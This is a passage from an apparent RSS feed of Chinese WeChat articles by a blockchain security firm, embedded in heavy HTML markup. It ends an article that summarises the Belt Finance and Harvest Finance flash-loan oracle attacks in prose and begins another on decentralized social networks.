0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;text-align: justify;line-height: 1.6em;"><span style="font-size: 15px;"><strong><span style="line-height: 19.2px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">攻击过程如下：</span></strong><span style="line-height: 19.2px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></span></section><section style="margin: 8px 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;text-align: justify;line-height: 1.6em;"><span style="line-height: 19.2px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">（1）攻击者从 PancakeSwap 中通过闪电贷分8次，共计借出387315994 BUSD（3.87亿 BUSD）</span></section><section style="margin: 8px 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;text-align: justify;line-height: 1.6em;"><span style="line-height: 19.2px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">（2）将其中1千万BUSD存入 bEllipsis-BUSD 策略，Ellipsis 是以太坊上 DeFi 协议 Curve 授权 Fork 的项目</span></section><section style="margin: 8px 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;text-align: justify;line-height: 1.6em;"><span style="line-height: 19.2px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">（3）将 1.87 亿 BUSD 存入 bVenusBUSD 策略，然后通过 Ellipsis 合约将 1.9 亿 BUSD 兑换为 1.69 亿 USDT</span></section><section style="margin: 8px 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;text-align: justify;line-height: 1.6em;"><span style="line-height: 19.2px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">（4）从bVenusBUSD 策略中提取 BUSD，通过 Ellipsis 将1.69亿USDT换成1.89亿BUSD，向 bVenusBUSD 策略中再次存入1.97亿 BUSD</span></section><section style="margin: 8px 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;text-align: justify;line-height: 1.6em;"><span style="line-height: 19.2px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">（5）多次重复上步骤，攻击者通过重复买入卖出 BUSD，最后从策略 bVenusBUSD 中提取了更多的 BUSD，使用1.69亿 BUSDT 兑换出1.89亿的 BUSD</span></section><section style="margin: 8px 16px;text-indent: 0pt;white-space: normal;font-size: 10.5pt;font-family: Dialog;text-align: justify;line-height: 1.6em;"><span style="line-height: 19.2px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><span style="line-height: 19.2px;color: rgb(84, 84, 84);font-size: 15px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;text-align: left;background-color: rgb(255, 255, 255);">（6）</span>归还闪电贷，并将资产转移获利</span></section></section></section><p style="width: 7px;height: 7px;background: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(80, 78, 72);border-radius: 50%;align-self: flex-start;z-index: 1;margin-top: -4px;margin-left: -3px;line-height: 1.5em;"><br/></p><p style="width: 7px;height: 7px;background: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(80, 78, 72);border-radius: 50%;align-self: flex-end;z-index: 1;margin-top: -7px;margin-right: -3px;line-height: 1.5em;"><br/></p></section></section></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;text-indent: 0pt;">此次攻击，是由于 bEllipsis 策略余额计算中的漏洞，造成攻击者操纵了 beltBUSD 的价格。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;text-indent: 0pt;">通过合约分析可知，beltBUSD 的价格依赖于机枪池中的余额，攻击者将 BUSD 存入 bVenusBUSD 策略再提出，由于资产的数量不变，即使重复操作，也不会获利。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;text-indent: 0pt;">但此次攻击者也同时操作了其他策略（bEllipsisBUSD）对beltBUSD余额产生了影响，造成了计算漏洞的产生。</span><br/></section><section style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;text-indent: 0pt;line-height: 2em;"><strong><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);">3、Harvest Finance：</span></strong></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">2020年10月26日，一位匿名用户用闪电贷技术攻击了Harvest Finance 储备池。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">⬇️</span>你可以在这里阅读官方的分析报告</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-decoration: underline;"><a href="https://www.8btc.com/article/661801" target="_blank">https://www.8btc.com/article/661801</a></span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">攻击者通过执行交易使得Curve池中的USDC价格降低，然后以降低的价格进入Harvest池子，通过逆转先前的交易恢复价格，并以更高的价格退出Harvest 池子。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">这最终导致用户损失了3300万美元。这是也典型的针对链上预言机的攻击。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"> <br mpa-from-tpl="t"/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="align-self: center;display: flex;background: rgb(51, 51, 51);border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid="" mpa-from-tpl="t"><section style="background: #FFFFFF;padding: 8px 4px;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t" style="text-align: center;width: 29px;height: 22px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/Avr6pXx8GkdbphNVicrcaho6G8KHv1aWDdcIC34CCuqxGdcs1s2kIypw5XhFSuQ8KqaG8eTlmWbPkiboT6KJ7l4Q/640?wx_fmt=png&#34;);background-size: 29px 22px;background-repeat: no-repeat;"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;color: #333333;line-height: 22px;letter-spacing: 2px;" data-mid=""><span style="font-size: 20px;">03</span></p></section></section><section style="text-align: left;padding: 8px 14px 0px 15px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 22px;letter-spacing: 2px;" data-mid=""><span style="font-size: 20px;">写在最后</span></p></section></section></section></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><br/></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">区块链如果想要被更广泛地使用，需要一个安全可靠的机制与链下数据进行沟通。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">中心化的预言机在带来这一便利的同时也给我们带来了大量的中心化的风险，这与区块链的初衷是不符的。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">去中心化的预言机拥有在不损害去中心化的前提下带来链下数据的这一潜力。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">此外，现如今区块链预言机的功能其实不仅限于获取链下数据以及随机数了。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">它还能提供包括合约的自动调用，为链上的合约提供外包计算以及跨链通讯等服务。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="89429" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;height: 50px;" mpa-from-tpl="t"><section mpa-from-tpl="t" style="width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif&#34;);background-repeat: no-repeat;background-size: 100%;background-position: 0px center;margin-right: auto;margin-left: auto;"><p style="font-weight: bold;"><span style="font-size: 14px;">end</span></p></section><section style="height:2px;background-color:#222121;margin-top:-26px;" mpa-from-tpl="t"><br/></section></section></section></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"> <br mpa-from-tpl="t"/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-category="模板" style="width: 100%;padding-bottom: 11px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: flex;justify-content: center;align-items: center;margin-bottom: 30px;" data-mid="" mpa-from-tpl="t"><section style="background: #bebebe;" data-mid="" mpa-from-tpl="t"><section style="background: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(151, 151, 151);padding: 2px 10px;font-size: 16px;font-weight: 400;color: rgb(51, 51, 51);line-height: 22px;letter-spacing: 0px;height: 28px;margin: 4px 4px -4px -4px;" data-mid="" mpa-from-tpl="t"><p data-mid="">往期推荐</p></section></section></section><section style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="background: #BEBEBE;" data-mid="" mpa-from-tpl="t"><section style="background: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(151, 151, 151);padding: 11px 11px 0px;margin: 10px 10px -10px -10px;" data-mid="" mpa-from-tpl="t"><section style="min-width: 258px;background: #EEEEEE;padding: 8px 0 8px 6px;text-align: left;font-size: 14px;font-weight: 400;color: #333333;line-height: 20px;margin-bottom: 10px;" data-mid="" mpa-from-tpl="t"><p data-mid=""><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247502536&amp;idx=1&amp;sn=3855c1c3bb19d7bfb9334c964adc15a7&amp;chksm=c286d58ef5f15c98be454ae167723b4bd79442218d341ab3c6d934272dcf101998b69bbb5263&amp;scene=21#wechat_redirect" textvalue="去中心化社交与其他去中心化转移" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">去中心化社交与其他去中心化转移</a><br/></p></section><section style="min-width: 258px;background: #EEEEEE;padding: 8px 0 8px 6px;text-align: left;font-size: 14px;font-weight: 400;color: #333333;line-height: 20px;margin-bottom: 10px;" data-mid="" mpa-from-tpl="t"><p data-mid=""><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247496549&amp;idx=1&amp;sn=d95aa6140d4c136a43c299c57a8be58b&amp;chksm=c286ec23f5f16535164b84bcf1d2cc86e615abe599ad00e9b10a4defa37fb3be701b3cac109e&amp;scene=21#wechat_redirect" textvalue="走进区块链的第一步：钱包服务" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">走进区块链的第一步：钱包服务</a><br/></p></section><section style="min-width: 258px;background: #EEEEEE;padding: 8px 0 8px 6px;text-align: left;font-size: 14px;font-weight: 400;color: #333333;line-height: 20px;margin-bottom: 10px;" data-mid="" mpa-from-tpl="t"><p data-mid=""><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490054&amp;idx=1&amp;sn=faa8621631fcaf39d7e4b448b2cf2f35&amp;chksm=c2850540f5f28c56154b485927437f1377b1ac278f025ce0f08439f8229c4b32bcb73155f0f4&amp;scene=21#wechat_redirect" textvalue="走进区块链的第一步：mev浅析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">走进区块链的第一步：mev浅析</a><br/></p></section></section></section></section></section></section></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br mpa-from-tpl="t"/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-end;padding-right: 28px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 15px;height: 15px;align-self: flex-start;margin-bottom: -28px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1" style="display: block;" data-w="30" src="https://wechat2rss.xlab.app/img-proxy/?k=c5b1d50a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMMgcSLchibrG9R8E6YA5OU6Kf0CLsTiaWl3CwMX5DoDia3ibd6Be8LQFCiakyDvmfGJvzfB7mOB0GibD9hEibPmXZ2KKg%2F640%3Fwx_fmt%3Dpng"/></section><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="height: 33px;padding: 0px 20px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #333333;line-height: 44px;" data-mid="">点个<span style="padding: 0px 4px;" data-mid="">在看</span>你最好看</p></section><section data-mid="" mpa-from-tpl="t" style="background: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/sK75edcbDMiaibHGwEFLOJ5icTOic42Bnffoz3JBRlC6DlnKVMmxtiaIeBcFUvMz8vCJUFqtbf9sICYe1qb4alE5iaog/640?wx_fmt=png&#34;) 0% 0% / 100% 1px no-repeat;width: 100%;height: 1px;"><br/></section></section></section></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247502694">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=95bcec97&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247502694%26idx%3D1%26sn%3D5416b1e12b0fd701782e75a409b97bf0%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 17 Mar 2023 10:48:00 +0800</pubDate>
    </item>
    <item>
      <title>去中心化社交与其他去中心化转移</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247502536&amp;idx=1&amp;sn=3855c1c3bb19d7bfb9334c964adc15a7</link>
      <description>去中心化社交与其他去中心化转移</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2023-03-16 13:30</span> <span style="display: inline-block;">湖南</span>
</p>

<p>去中心化社交与其他去中心化转移</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1eaa0c03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXlde3sXl0vzPPv38dSyhMGmmu4bpVWEuQDJ3g9PkXXZc1S2RlO1MWXZ32OOGNPjdACk6OUaJYX6xkxA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io"><section style="line-height: 2em;margin-top: 16px;"><section data-mpa-category="模板" style="width: 100%;display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;flex-direction: column;align-self: center;" data-mid="" mpa-from-tpl="t"><section style="width: 42px;height: 34px;display: flex;justify-content: center;align-items: center;align-self: flex-end;margin-right: -56px;margin-bottom: -3px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.8095238095238095" data-w="84" src="https://wechat2rss.xlab.app/img-proxy/?k=45b08941&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJ1S19pfufUthZicQiaicAt4fibc0XcuffjBNLG5pT6Jfibo1dzsnibwl2VYu7tEBwmxTZx21GmOW4bcW5CibG0ibia6g10A%2F640%3Fwx_fmt%3Dpng"/></section><section style="display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 10px;height: 10px;background: rgb(51, 51, 51);border-right: 1px solid rgb(253, 251, 251);border-bottom: 1px solid rgb(253, 251, 251);align-self: flex-start;margin-bottom: -10px;z-index: 1;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="text-align: center;background: #333333;padding: 4px 19px 3px 19px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 22px;letter-spacing: 2px;word-break: break-all;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">一、前言</span></p></section></section></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: normal;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><br/></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">2021</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">年</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">1</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">月</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">6</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">日美国国会骚乱发生后，特朗普超过</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">8900</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">万粉丝的推特账号被暂停使用，此后推特以“存在进一步煽动暴力行为的风险”为由“永久封禁”特朗普的个人推特账户。</span><br/></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">虽然在马斯克的推动下，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">2022</span>年底“懂王”的推特账户被解除封禁，但在此期间，特朗普自创的社交平台“真实社交”获准在谷歌应用商店上架，双方就此事已经交涉了数月。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 10.5pt;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">报道称，在“真实社交”同意执行禁止“煽动暴力”等内容审核政策后，该社交平台最终获准上架。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;font-size: 10.5pt;color: rgb(84, 84, 84);">但此事引发的传统社交平台对于用户内容审核及管理的“类垄断”行为值得我们深思，</span><span style="letter-spacing: 1px;font-size: 10.5pt;color: rgb(84, 84, 84);">web3</span><span style="letter-spacing: 1px;font-size: 10.5pt;color: rgb(84, 84, 84);">浪潮下去中心化社交 </span><span style="letter-spacing: 1px;font-size: 10.5pt;color: rgb(84, 84, 84);">(Decentralized Social</span><span style="letter-spacing: 1px;font-size: 10.5pt;color: rgb(84, 84, 84);">，</span><span style="letter-spacing: 1px;font-size: 10.5pt;color: rgb(84, 84, 84);">DeSoc) </span><span style="letter-spacing: 1px;font-size: 10.5pt;color: rgb(84, 84, 84);">正在野蛮生长。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 10.5pt;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><br/></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0836693548387097" data-s="300,640" data-w="992" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1ab0d0a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7EZVjqc1PJ9mbI0KramDc6ffjuSWTjJiafDCLD4dicOpj8IbSuZuMShlw%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">传统社交平台一般情况下都是完全打包过内容的通信应用程序。其核心是身份产品，其提供了用户的数字角色以及该数字角色所捆绑的数据、内容和最重要的社交关系图谱。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web2</span>时代以该方式形成了大量成熟的社交产品如<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">twitter</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">facebook</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">wechat</span>等。然而，这些通过封闭式数据平台构建的社交软件正被其背后的资本垄断、操纵并以此获得巨大的利润。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">去中心化社交 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">(Decentralized Social</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc) </span>协议正在重新构建数字身份，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span>的重点在于其用户的社交图谱及用户身份是用户所完全自主拥有控制的。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">借助<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span>，用户可以以自由且互相信任的方式交流并构建应用程序，完全避免中心化社交所带来的社交绑定困境以及审查困境。<o:p></o:p></span></section><h2 style="margin: 16px 1em;break-after: avoid;text-align: justify;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><br mpa-from-tpl="t"/></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section style="line-height: 2em;margin-top: 16px;"><section data-mpa-category="模板" style="width: 100%;display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;flex-direction: column;align-self: center;" data-mid="" 